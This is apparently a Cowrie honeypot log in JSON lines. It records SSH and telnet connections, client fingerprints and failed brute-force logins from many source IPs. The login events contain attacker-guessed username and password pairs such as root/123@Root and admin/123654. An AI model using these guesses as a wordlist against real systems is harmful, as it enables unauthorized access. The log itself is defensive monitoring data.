{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:38.576509Z","src_ip":"14.55.144.22","session":"ca39558e75ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Root","message":"login attempt [root/123@Root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.012238Z","src_ip":"160.22.170.38","session":"7890ffe7ea60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51738,"dst_ip":"10.17.0.5","dst_port":22,"session":"120195325a50","protocol":"ssh","message":"New connection: 81.177.101.45:51738 (10.17.0.5:22) [session: 120195325a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.099885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.110840Z","src_ip":"81.177.101.45","session":"120195325a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.233065Z","src_ip":"81.177.101.45","session":"120195325a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"root","message":"login attempt [student/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.428038Z","src_ip":"14.55.144.22","session":"ca39558e75ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123ASD","message":"login attempt [root/qwe123ASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:39.735203Z","src_ip":"81.177.101.45","session":"120195325a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:40.637176Z","src_ip":"14.55.144.22","session":"ca39558e75ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:40.733477Z","src_ip":"160.22.170.38","session":"7890ffe7ea60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:40.877531Z","src_ip":"81.177.101.45","session":"120195325a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":57134,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6abf042c19","protocol":"ssh","message":"New connection: 162.144.213.198:57134 (159.203.135.109:22) [session: 5c6abf042c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:44.385487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:44.389251Z","src_ip":"162.144.213.198","session":"5c6abf042c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:44.478293Z","src_ip":"162.144.213.198","session":"5c6abf042c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"melbourne","password":"Melb#S3cur3$P@ss!","message":"login attempt [melbourne/Melb#S3cur3$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:44.745991Z","src_ip":"162.144.213.198","session":"5c6abf042c19","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:48.534560Z","src_ip":"115.191.36.122","session":"a1b34e0659fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":59968,"dst_ip":"159.203.135.109","dst_port":22,"session":"2902f894924d","protocol":"ssh","message":"New connection: 103.86.198.253:59968 (159.203.135.109:22) [session: 2902f894924d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:54.904783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:54.908679Z","src_ip":"103.86.198.253","session":"2902f894924d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:55.169348Z","src_ip":"103.86.198.253","session":"2902f894924d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@abcde","message":"login attempt [root/12345@abcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:56.243048Z","src_ip":"103.86.198.253","session":"2902f894924d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:57.507488Z","src_ip":"103.86.198.253","session":"2902f894924d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":48022,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b2398e9123","protocol":"ssh","message":"New connection: 118.26.36.195:48022 (159.203.135.109:22) [session: 18b2398e9123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:03.158605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:03.164134Z","src_ip":"118.26.36.195","session":"18b2398e9123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:03.382343Z","src_ip":"118.26.36.195","session":"18b2398e9123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35402,"dst_ip":"159.203.135.109","dst_port":23,"session":"c122f1baeb3f","protocol":"telnet","message":"New connection: 107.6.151.170:35402 (159.203.135.109:23) [session: c122f1baeb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:03.803941Z"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:04.173130Z","src_ip":"162.144.213.198","session":"5c6abf042c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123654","message":"login attempt [admin/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:04.281289Z","src_ip":"118.26.36.195","session":"18b2398e9123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:05.499003Z","src_ip":"118.26.36.195","session":"18b2398e9123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57770,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fb1b63108b","protocol":"telnet","message":"New connection: 170.64.224.25:57770 (159.203.135.109:23) [session: 97fb1b63108b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:07.978444Z"}
{"eventid":"cowrie.session.closed","duration":"49.8","message":"Connection lost after 49.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:16.890270Z","src_ip":"115.191.36.122","session":"a1b34e0659fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":40058,"dst_ip":"10.17.0.5","dst_port":22,"session":"97144587999f","protocol":"ssh","message":"New connection: 162.241.132.172:40058 (10.17.0.5:22) [session: 97144587999f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:21.453120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:21.457014Z","src_ip":"162.241.132.172","session":"97144587999f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:21.484122Z","src_ip":"162.241.132.172","session":"97144587999f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"belarus","password":"Minsk#Crypto@S3cur3","message":"login attempt [belarus/Minsk#Crypto@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:21.566239Z","src_ip":"162.241.132.172","session":"97144587999f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:22.595368Z","src_ip":"162.241.132.172","session":"97144587999f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.787606239318848,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:29.765965Z","src_ip":"170.64.224.25","session":"97fb1b63108b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82854437828064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:35.632371Z","src_ip":"107.6.151.170","session":"c122f1baeb3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":57640,"dst_ip":"159.203.135.109","dst_port":22,"session":"8166e5875ad2","protocol":"ssh","message":"New connection: 92.118.39.50:57640 (159.203.135.109:22) [session: 8166e5875ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:39.579847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:39.681314Z","src_ip":"92.118.39.50","session":"8166e5875ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:39.688548Z","src_ip":"92.118.39.50","session":"8166e5875ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:40.435524Z","src_ip":"92.118.39.50","session":"8166e5875ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:41.929827Z","src_ip":"92.118.39.50","session":"8166e5875ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":47782,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3825fbbfda","protocol":"ssh","message":"New connection: 103.78.1.33:47782 (10.17.0.5:22) [session: 0c3825fbbfda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:55.105073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:55.109485Z","src_ip":"103.78.1.33","session":"0c3825fbbfda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:55.332528Z","src_ip":"103.78.1.33","session":"0c3825fbbfda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123","message":"login attempt [ansible/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:56.261039Z","src_ip":"103.78.1.33","session":"0c3825fbbfda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51610,"dst_ip":"10.17.0.5","dst_port":22,"session":"474bf5b76746","protocol":"ssh","message":"New connection: 81.177.101.45:51610 (10.17.0.5:22) [session: 474bf5b76746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:44:56.644686Z"}
